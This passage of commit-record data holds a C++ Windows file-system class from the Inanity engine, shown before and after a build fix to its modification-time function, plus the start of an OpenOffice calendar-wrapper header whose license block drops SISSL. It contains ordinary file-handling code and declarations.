Strings::Unicode2UTF8(buffer);\n\t\tdelete [] buffer;\n\n\t\t\/\/прибавить к нему заданное имя каталога, и получить таким образом полный каталог\n\t\tif(userFolderName.length())\n\t\t{\n\t\t\tfolderName += '\\\\';\n\t\t\tfolderName += userFolderName;\n\t\t}\n\t}\n\n\t\/\/убедиться, что имя каталога поддерживает длинные имена\n\tif(this->folderName.compare(0, 4, \"\\\\\\\\?\\\\\") != 0)\n\t\tthis->folderName = \"\\\\\\\\?\\\\\" + this->folderName;\n}\n\nWin32FileSystem::Win32FileSystem()\n{\n\t\/\/создать абсолютную файловую систему, то есть ничего не делать;\n\t\/\/folderName - пустая строка\n}\n\nString Win32FileSystem::GetFullName(String fileName) const\n{\n\tif(folderName.length() && fileName.length() && fileName.front() == '\/')\n\t\tfileName = fileName.substr(1);\n\tString result = folderName.length() ? (folderName + \"\\\\\" + fileName) : fileName;\n\tsize_t length = result.length();\n\tfor(size_t i = 0; i < length; ++i)\n\t\tif(result[i] == '\/')\n\t\t\tresult[i] = '\\\\';\n\treturn result;\n}\n\nsize_t Win32FileSystem::GetFileSize(const String& fileName)\n{\n\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(GetFullName(fileName)).c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n\tif(!hFile.IsValid())\n\t\tTHROW(\"Can't open file to determine file size\");\n\n\tLARGE_INTEGER size;\n\tif(!::GetFileSizeEx(hFile, &size))\n\t\tTHROW(\"Can't get file size\");\n\n\tsize_t resultSize = (size_t)size.QuadPart;\n\tif(resultSize != size.QuadPart)\n\t\tTHROW(\"File is too big\");\n\t\n\treturn resultSize;\n}\n\nptr<File> Win32FileSystem::LoadPartOfFile(const String& fileName, long long mappingStart, size_t mappingSize)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, NULL);\n\t\tif(!hFile.IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\t\tsize_t size;\n\t\tif(mappingSize)\n\t\t\tsize = mappingSize;\n\t\telse\n\t\t{\n\t\t\tLARGE_INTEGER li;\n\t\t\t::GetFileSizeEx(hFile, &li);\n\t\t\tsize = (size_t)li.QuadPart;\n\t\t\tif(size != li.QuadPart)\n\t\t\t\tTHROW(\"File too long to map\");\n\t\t}\n\t\tif(!size)\n\t\t\treturn NEW(EmptyFile());\n\t\tWin32Handle hMapping = CreateFileMapping(hFile, 0, PAGE_READONLY, 0, 0, 0);\n\t\tif(!hMapping)\n\t\t\tTHROW_SECONDARY(\"Can't create file mapping\", Exception::SystemError());\n\n\t\t\/\/получить гранулярность выделения памяти\n\t\tstatic unsigned allocationGranularity = 0;\n\t\tif(!allocationGranularity)\n\t\t{\n\t\t\tSYSTEM_INFO systemInfo;\n\t\t\tGetSystemInfo(&systemInfo);\n\t\t\tallocationGranularity = systemInfo.dwAllocationGranularity;\n\t\t}\n\n\t\t\/\/округлить начало проекции вниз на гранулярность\n\t\tlong long realMappingStart = mappingStart & ~(long long)(allocationGranularity - 1);\n\t\t\/\/вычислить реальный размер\n\t\tsize_t realMappingSize = mappingSize + (size_t)(mappingStart - realMappingStart);\n\t\t\/\/спроецировать файл с учетом этого сдвига\n\t\tvoid* data = MapViewOfFile(hMapping, FILE_MAP_READ, realMappingStart >> 32, realMappingStart & ((1LL << 32) - 1), realMappingSize);\n\t\tif(!data)\n\t\t\tTHROW_SECONDARY(\"Can't map view of file\", Exception::SystemError());\n\n\t\t\/\/если сдвиг был\n\t\tif(realMappingStart < mappingStart)\n\t\t\t\/\/вернуть указатель на частичный файл, с учетом сдвига\n\t\t\treturn NEW(PartFile(NEW(Win32File(data, realMappingSize)), (char*)data + (size_t)(mappingStart - realMappingStart), size));\n\t\t\/\/иначе сдвига не было, просто вернуть файл\n\t\treturn NEW(Win32File(data, size));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(\"Can't load file \\\"\" + fileName + \"\\\" as \\\"\" + name + \"\\\"\", exception);\n\t}\n}\n\nvoid Win32FileSystem::SaveFile(ptr<File> file, const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);\n\t\tif(!hFile.IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't create file\", Exception::SystemError());\n\t\tDWORD written;\n\t\tsize_t size = file->GetSize();\n\t\tif((DWORD)size != size)\n\t\t\tTHROW(\"So big files is not supported\");\n\t\tif(!WriteFile(hFile, file->GetData(), (DWORD)size, &written, NULL) || written != size)\n\t\t\tTHROW_SECONDARY(\"Can't write file\", Exception::SystemError());\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't save file \\\"\") + fileName + \"\\\" as \\\"\" + name + \"\\\"\", exception);\n\t}\n}\n\nptr<InputStream> Win32FileSystem::LoadStream(const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tptr<Win32Handle> file = NEW(Win32Handle(CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL)));\n\t\tif(!file->IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\t\treturn NEW(Win32InputStream(file));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't load file \\\"\") + fileName + \"\\\" as \\\"\" + name + \"\\\" as stream\", exception);\n\t}\n}\n\nptr<OutputStream> Win32FileSystem::SaveStream(const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tptr<Win32Handle> file = NEW(Win32Handle(CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL)));\n\t\tif(!file->IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\t\treturn NEW(Win32OutputStream(file));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't save file \\\"\") + fileName + \"\\\" as \\\"\" + name + \"\\\" as stream\", exception);\n\t}\n}\n\ntime_t Win32FileSystem::GetFileMTime(const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(name).c_str(), 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);\n\t\tif(!file.IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\n\t\tFILETIME t;\n\t\tif(!GetFileTime(hFile, NULL, NULL, &t))\n\t\t\tTHROW_SECONDARY(\"Can't get file's mtime\", Exception::SystemError());\n\n\t\tULARGE_INTEGER ull;\n\t\tull.LowPart = t.LowPart;\n\t\tull.HighPart = t.HighPart;\n\n\t\treturn (time_t)(ull.QuadPart \/ 10000000ULL - 11644473600ULL);\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't get mtime of \\\"\") + fileName + \"\\\"\", exception);\n\t}\n}\n\nvoid Win32FileSystem::GetDirectoryEntries(const String& directoryName, std::vector<String>& entries) const\n{\n\tWIN32_FIND_DATA find;\n\tHANDLE hFind = FindFirstFile(Strings::UTF82Unicode(GetFullName(directoryName) + \"*\").c_str(), &find);\n\tif(hFind == INVALID_HANDLE_VALUE) return;\n\tdo\n\t{\n\t\tString fileTitle(Strings::Unicode2UTF8(find.cFileName));\n\t\tif(!fileTitle.length() || fileTitle[0] == '.' || (find.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN))\n\t\t\tcontinue;\n\t\tif(find.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n\t\t\tfileTitle += '\/';\n\t\tentries.push_back(fileTitle);\n\t}\n\twhile(FindNextFile(hFind, &find));\n\tFindClose(hFind);\n}\n\nptr<File> Win32FileSystem::LoadFile(const String& fileName)\n{\n\treturn LoadPartOfFile(fileName, 0, 0);\n}\n\nptr<Win32FileSystem> Win32FileSystem::GetNativeFileSystem()\n{\n\t\/\/этот метод сделан просто для лучшей понятности\n\treturn NEW(Win32FileSystem());\n}\n\nvoid Win32FileSystem::GetFileNames(std::vector<String>& fileNames) const\n{\n\t\/\/только если файловая система не абсолютная\n\tif(folderName.length())\n\t\tGetAllDirectoryEntries(\"\/\", fileNames);\n}\n\nEND_INANITY_PLATFORM\n<commit_msg>build fix on windows<commit_after>#include \"Win32FileSystem.hpp\"\n#include \"Win32Handle.hpp\"\n#include \"..\/File.hpp\"\n#include \"..\/InputStream.hpp\"\n#include \"..\/OutputStream.hpp\"\n#include \"..\/EmptyFile.hpp\"\n#include \"..\/PartFile.hpp\"\n#include \"..\/Strings.hpp\"\n#include \"..\/Exception.hpp\"\n#include <algorithm>\n\nBEGIN_INANITY_PLATFORM\n\nclass Win32File : public File\n{\nprivate:\n\tvoid* data;\n\tsize_t size;\n\npublic:\n\tWin32File(void* data, size_t size)\n\t: data(data), size(size) {}\n\n\t~Win32File()\n\t{\n\t\tUnmapViewOfFile(data);\n\t}\n\n\tvoid* GetData() const\n\t{\n\t\treturn data;\n\t}\n\n\tsize_t GetSize() const\n\t{\n\t\treturn size;\n\t}\n};\n\nclass Win32InputStream : public InputStream\n{\nprivate:\n\tptr<Win32Handle> handle;\n\tmutable bigsize_t fileSize;\n\n\tbigsize_t GetFileSize() const\n\t{\n\t\tif(fileSize == (bigsize_t)-1)\n\t\t{\n\t\t\tLARGE_INTEGER size;\n\t\t\tif(!GetFileSizeEx(*handle, &size))\n\t\t\t\tTHROW(\"Error getting file size\");\n\t\t\tfileSize = (bigsize_t)size.QuadPart;\n\t\t}\n\t\treturn fileSize;\n\t}\n\npublic:\n\tWin32InputStream(ptr<Win32Handle> handle)\n\t: handle(handle), fileSize(-1) {}\n\n\tsize_t Read(void* data, size_t size)\n\t{\n\t\tif((DWORD)size != size)\n\t\t\tTHROW(\"So big reading size is not supported\");\n\t\tDWORD read;\n\t\tReadFile(*handle, data, (DWORD)size, &read, NULL);\n\t\treturn read;\n\t}\n\n\tbigsize_t Skip(bigsize_t size)\n\t{\n\t\tLARGE_INTEGER distance, oldFilePointer, newFilePointer;\n\n\t\t\/\/ determine current file pointer\n\t\tdistance.QuadPart = (LONGLONG)0;\n\t\tif(!SetFilePointerEx(*handle, distance, &oldFilePointer, FILE_CURRENT))\n\t\t\tTHROW(\"Can't determine current file pointer\");\n\n\t\t\/\/ get file size\n\t\tbigsize_t fileSize = GetFileSize();\n\n\t\t\/\/ fix distance to move (because Windows allows\n\t\t\/\/ setting file pointer beyond the end of file)\n\t\tsize = std::min((bigsize_t)oldFilePointer.QuadPart + size, fileSize) - (bigsize_t)oldFilePointer.QuadPart;\n\n\t\t\/\/ move\n\t\tdistance.QuadPart = (LONGLONG)size;\n\t\tif(!SetFilePointerEx(*handle, distance, &newFilePointer, FILE_CURRENT))\n\t\t\tTHROW(\"Can't move file pointer\");\n\n\t\treturn size;\n\t}\n};\n\nclass Win32OutputStream : public OutputStream\n{\nprivate:\n\tptr<Win32Handle> handle;\n\npublic:\n\tWin32OutputStream(ptr<Win32Handle> handle)\n\t: handle(handle) {}\n\n\tvoid Write(const void* data, size_t size)\n\t{\n\t\tif((DWORD)size != size)\n\t\t\tTHROW(\"So big write size is not supported\");\n\t\tDWORD written;\n\t\tif(!WriteFile(*handle, data, (DWORD)size, &written, NULL) || written != size)\n\t\t\tTHROW(\"Disk write error\");\n\t}\n};\n\nWin32FileSystem::Win32FileSystem(const String& userFolderName)\n{\n\t\/\/если имя абсолютное\n\tif(userFolderName.length() >= 2 && userFolderName[1] == ':')\n\t\tfolderName = userFolderName;\n\t\/\/иначе относительное\n\telse\n\t{\n\t\t\/\/получить полное имя текущего каталога\n\t\tDWORD length = GetCurrentDirectory(0, NULL);\n\t\twchar_t* buffer = new wchar_t[length];\n\t\tif(!GetCurrentDirectory(length, buffer))\n\t\t{\n\t\t\tdelete [] buffer;\n\t\t\tTHROW(\"Can't get current directory\");\n\t\t}\n\t\tfolderName = Strings::Unicode2UTF8(buffer);\n\t\tdelete [] buffer;\n\n\t\t\/\/прибавить к нему заданное имя каталога, и получить таким образом полный каталог\n\t\tif(userFolderName.length())\n\t\t{\n\t\t\tfolderName += '\\\\';\n\t\t\tfolderName += userFolderName;\n\t\t}\n\t}\n\n\t\/\/убедиться, что имя каталога поддерживает длинные имена\n\tif(this->folderName.compare(0, 4, \"\\\\\\\\?\\\\\") != 0)\n\t\tthis->folderName = \"\\\\\\\\?\\\\\" + this->folderName;\n}\n\nWin32FileSystem::Win32FileSystem()\n{\n\t\/\/создать абсолютную файловую систему, то есть ничего не делать;\n\t\/\/folderName - пустая строка\n}\n\nString Win32FileSystem::GetFullName(String fileName) const\n{\n\tif(folderName.length() && fileName.length() && fileName.front() == '\/')\n\t\tfileName = fileName.substr(1);\n\tString result = folderName.length() ? (folderName + \"\\\\\" + fileName) : fileName;\n\tsize_t length = result.length();\n\tfor(size_t i = 0; i < length; ++i)\n\t\tif(result[i] == '\/')\n\t\t\tresult[i] = '\\\\';\n\treturn result;\n}\n\nsize_t Win32FileSystem::GetFileSize(const String& fileName)\n{\n\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(GetFullName(fileName)).c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);\n\tif(!hFile.IsValid())\n\t\tTHROW(\"Can't open file to determine file size\");\n\n\tLARGE_INTEGER size;\n\tif(!::GetFileSizeEx(hFile, &size))\n\t\tTHROW(\"Can't get file size\");\n\n\tsize_t resultSize = (size_t)size.QuadPart;\n\tif(resultSize != size.QuadPart)\n\t\tTHROW(\"File is too big\");\n\t\n\treturn resultSize;\n}\n\nptr<File> Win32FileSystem::LoadPartOfFile(const String& fileName, long long mappingStart, size_t mappingSize)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, NULL);\n\t\tif(!hFile.IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\t\tsize_t size;\n\t\tif(mappingSize)\n\t\t\tsize = mappingSize;\n\t\telse\n\t\t{\n\t\t\tLARGE_INTEGER li;\n\t\t\t::GetFileSizeEx(hFile, &li);\n\t\t\tsize = (size_t)li.QuadPart;\n\t\t\tif(size != li.QuadPart)\n\t\t\t\tTHROW(\"File too long to map\");\n\t\t}\n\t\tif(!size)\n\t\t\treturn NEW(EmptyFile());\n\t\tWin32Handle hMapping = CreateFileMapping(hFile, 0, PAGE_READONLY, 0, 0, 0);\n\t\tif(!hMapping)\n\t\t\tTHROW_SECONDARY(\"Can't create file mapping\", Exception::SystemError());\n\n\t\t\/\/получить гранулярность выделения памяти\n\t\tstatic unsigned allocationGranularity = 0;\n\t\tif(!allocationGranularity)\n\t\t{\n\t\t\tSYSTEM_INFO systemInfo;\n\t\t\tGetSystemInfo(&systemInfo);\n\t\t\tallocationGranularity = systemInfo.dwAllocationGranularity;\n\t\t}\n\n\t\t\/\/округлить начало проекции вниз на гранулярность\n\t\tlong long realMappingStart = mappingStart & ~(long long)(allocationGranularity - 1);\n\t\t\/\/вычислить реальный размер\n\t\tsize_t realMappingSize = mappingSize + (size_t)(mappingStart - realMappingStart);\n\t\t\/\/спроецировать файл с учетом этого сдвига\n\t\tvoid* data = MapViewOfFile(hMapping, FILE_MAP_READ, realMappingStart >> 32, realMappingStart & ((1LL << 32) - 1), realMappingSize);\n\t\tif(!data)\n\t\t\tTHROW_SECONDARY(\"Can't map view of file\", Exception::SystemError());\n\n\t\t\/\/если сдвиг был\n\t\tif(realMappingStart < mappingStart)\n\t\t\t\/\/вернуть указатель на частичный файл, с учетом сдвига\n\t\t\treturn NEW(PartFile(NEW(Win32File(data, realMappingSize)), (char*)data + (size_t)(mappingStart - realMappingStart), size));\n\t\t\/\/иначе сдвига не было, просто вернуть файл\n\t\treturn NEW(Win32File(data, size));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(\"Can't load file \\\"\" + fileName + \"\\\" as \\\"\" + name + \"\\\"\", exception);\n\t}\n}\n\nvoid Win32FileSystem::SaveFile(ptr<File> file, const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);\n\t\tif(!hFile.IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't create file\", Exception::SystemError());\n\t\tDWORD written;\n\t\tsize_t size = file->GetSize();\n\t\tif((DWORD)size != size)\n\t\t\tTHROW(\"So big files is not supported\");\n\t\tif(!WriteFile(hFile, file->GetData(), (DWORD)size, &written, NULL) || written != size)\n\t\t\tTHROW_SECONDARY(\"Can't write file\", Exception::SystemError());\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't save file \\\"\") + fileName + \"\\\" as \\\"\" + name + \"\\\"\", exception);\n\t}\n}\n\nptr<InputStream> Win32FileSystem::LoadStream(const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tptr<Win32Handle> file = NEW(Win32Handle(CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL)));\n\t\tif(!file->IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\t\treturn NEW(Win32InputStream(file));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't load file \\\"\") + fileName + \"\\\" as \\\"\" + name + \"\\\" as stream\", exception);\n\t}\n}\n\nptr<OutputStream> Win32FileSystem::SaveStream(const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tptr<Win32Handle> file = NEW(Win32Handle(CreateFile(Strings::UTF82Unicode(name).c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL)));\n\t\tif(!file->IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\t\treturn NEW(Win32OutputStream(file));\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't save file \\\"\") + fileName + \"\\\" as \\\"\" + name + \"\\\" as stream\", exception);\n\t}\n}\n\ntime_t Win32FileSystem::GetFileMTime(const String& fileName)\n{\n\tString name = GetFullName(fileName);\n\ttry\n\t{\n\t\tWin32Handle hFile = CreateFile(Strings::UTF82Unicode(name).c_str(), 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, NULL);\n\t\tif(!hFile.IsValid())\n\t\t\tTHROW_SECONDARY(\"Can't open file\", Exception::SystemError());\n\n\t\tFILETIME t;\n\t\tif(!GetFileTime(hFile, NULL, NULL, &t))\n\t\t\tTHROW_SECONDARY(\"Can't get file's mtime\", Exception::SystemError());\n\n\t\tULARGE_INTEGER ull;\n\t\tull.LowPart = t.dwLowDateTime;\n\t\tull.HighPart = t.dwHighDateTime;\n\n\t\treturn (time_t)(ull.QuadPart \/ 10000000ULL - 11644473600ULL);\n\t}\n\tcatch(Exception* exception)\n\t{\n\t\tTHROW_SECONDARY(String(\"Can't get mtime of \\\"\") + fileName + \"\\\"\", exception);\n\t}\n}\n\nvoid Win32FileSystem::GetDirectoryEntries(const String& directoryName, std::vector<String>& entries) const\n{\n\tWIN32_FIND_DATA find;\n\tHANDLE hFind = FindFirstFile(Strings::UTF82Unicode(GetFullName(directoryName) + \"*\").c_str(), &find);\n\tif(hFind == INVALID_HANDLE_VALUE) return;\n\tdo\n\t{\n\t\tString fileTitle(Strings::Unicode2UTF8(find.cFileName));\n\t\tif(!fileTitle.length() || fileTitle[0] == '.' || (find.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN))\n\t\t\tcontinue;\n\t\tif(find.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n\t\t\tfileTitle += '\/';\n\t\tentries.push_back(fileTitle);\n\t}\n\twhile(FindNextFile(hFind, &find));\n\tFindClose(hFind);\n}\n\nptr<File> Win32FileSystem::LoadFile(const String& fileName)\n{\n\treturn LoadPartOfFile(fileName, 0, 0);\n}\n\nptr<Win32FileSystem> Win32FileSystem::GetNativeFileSystem()\n{\n\t\/\/этот метод сделан просто для лучшей понятности\n\treturn NEW(Win32FileSystem());\n}\n\nvoid Win32FileSystem::GetFileNames(std::vector<String>& fileNames) const\n{\n\t\/\/только если файловая система не абсолютная\n\tif(folderName.length())\n\t\tGetAllDirectoryEntries(\"\/\", fileNames);\n}\n\nEND_INANITY_PLATFORM\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: calendarwrapper.hxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2005-04-13 12:23:10 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _UNOTOOLS_CALENDARWRAPPER_HXX\n#define _UNOTOOLS_CALENDARWRAPPER_HXX\n\n#ifndef _DATETIME_HXX\n#include <tools\/datetime.hxx>\n#endif\n#ifndef _STRING_HXX\n#include <tools\/string.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_HXX_\n#include <com\/sun\/star\/uno\/Reference.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n#ifndef _COM_SUN_STAR_I18N_CALENDAR_HPP_\n#include <com\/sun\/star\/i18n\/Calendar.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_LOCALE_HPP_\n#include <com\/sun\/star\/lang\/Locale.hpp>\n#endif\n#ifndef INCLUDED_UNOTOOLSDLLAPI_H\n#include \"unotools\/unotoolsdllapi.h\"\n#endif\n\nnamespace com { namespace sun { namespace star {\n    namespace lang {\n        class XMultiServiceFactory;\n    }\n}}}\n\nnamespace com { namespace sun { namespace star {\n    namespace i18n {\n        class XExtendedCalendar;\n    }\n}}}\n\n\nclass UNOTOOLS_DLLPUBLIC CalendarWrapper\n{\n    ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > xSMgr;\n    ::com::sun::star::uno::Reference< ::com::sun::star::i18n::XExtendedCalendar >   xC;\n\n            DateTime            aEpochStart;        \/\/ 1Jan1970\n\npublic:\n                                CalendarWrapper(\n                                    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > & xSF\n                                    );\n                                ~CalendarWrapper();\n\n\n    \/\/ wrapper implementations of XCalendar\n\n    void loadDefaultCalendar( const ::com::sun::star::lang::Locale& rLocale );\n    void loadCalendar( const ::rtl::OUString& rUniqueID, const ::com::sun::star::lang::Locale& rLocale );\n    ::com::sun::star::i18n::Calendar getLoadedCalendar() const;\n    ::com::sun::star::uno::Sequence< ::rtl::OUString > getAllCalendars( const ::com::sun::star::lang::Locale& rLocale ) const;\n    ::rtl::OUString getUniqueID() const;\n    \/\/\/ set UTC date\/time\n    void setDateTime( double nTimeInDays );\n    \/\/\/ get UTC date\/time\n    double getDateTime() const;\n    \/\/\/ convenience method to set local date\/time\n    void setLocalDateTime( double nTimeInDays );\n    \/\/\/ convenience method to get local date\/time\n    double getLocalDateTime() const;\n    void setValue( sal_Int16 nFieldIndex, sal_Int16 nValue );\n    sal_Bool isValid() const;\n    sal_Int16 getValue( sal_Int16 nFieldIndex ) const;\n    void addValue( sal_Int16 nFieldIndex, sal_Int32 nAmount );\n    sal_Int16 getFirstDayOfWeek() const;\n    void setFirstDayOfWeek( sal_Int16 nDay );\n    void setMinimumNumberOfDaysForFirstWeek( sal_Int16 nDays );\n    sal_Int16 getMinimumNumberOfDaysForFirstWeek() const;\n    sal_Int16 getNumberOfMonthsInYear() const;\n    sal_Int16 getNumberOfDaysInWeek() const;\n    ::com::sun::star::uno::Sequence< ::com::sun::star::i18n::CalendarItem > getMonths() const;\n    ::com::sun::star::uno::Sequence< ::com::sun::star::i18n::CalendarItem > getDays() const;\n    String getDisplayName( sal_Int16 nCalendarDisplayIndex, sal_Int16 nIdx, sal_Int16 nNameType ) const;\n\n    \/\/ wrapper implementations of XExtendedCalendar\n\n    String getDisplayString( sal_Int32 nCalendarDisplayCode, sal_Int16 nNativeNumberMode ) const;\n\n\n    \/\/ convenience methods\n\n    \/\/\/ get epoch start (should be 01Jan1970)\n    inline  const DateTime&     getEpochStart() const\n                                    { return aEpochStart; }\n\n    \/\/\/ set a local (!) Gregorian DateTime\n    inline  void                setGregorianDateTime( const DateTime& rDateTime )\n                                    { setLocalDateTime( rDateTime - aEpochStart ); }\n\n    \/\/\/ get the DateTime as a local (!) Gregorian DateTime\n    inline  DateTime            getGregorianDateTime() const\n                                    { return aEpochStart + getLocalDateTime(); }\n\n};\n\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.8.34); FILE MERGED 2005\/09\/05 14:00:49 rt 1.8.34.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: calendarwrapper.hxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 09:27:31 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _UNOTOOLS_CALENDARWRAPPER_HXX\n#define _UNOTOOLS_CALENDARWRAPPER_HXX\n\n#ifndef _DATETIME_HXX\n#include <tools\/datetime.hxx>\n#endif\n#ifndef _STRING_HXX\n#include <tools\/string.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_HXX_\n#include <com\/sun\/star\/uno\/Reference.hxx>\n#endif\n#ifndef _COM_SUN_STAR_UNO_SEQUENCE_HXX_\n#include <com\/sun\/star\/uno\/Sequence.hxx>\n#endif\n#ifndef _COM_SUN_STAR_I18N_CALENDAR_HPP_\n#include <com\/sun\/star\/i18n\/Calendar.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_LOCALE_HPP_\n#include <com\/sun\/star\/lang\/Locale.hpp>\n#endif\n#ifndef INCLUDED_UNOTOOLSDLLAPI_H\n#include \"unotools\/unotoolsdllapi.h\"\n#endif\n\nnamespace com { namespace sun { namespace star {\n    namespace lang {\n        class XMultiServiceFactory;\n    }\n}}}\n\nnamespace com { namespace sun { namespace star {\n    namespace i18n {\n        class XExtendedCalendar;\n    }\n}}}\n\n\nclass 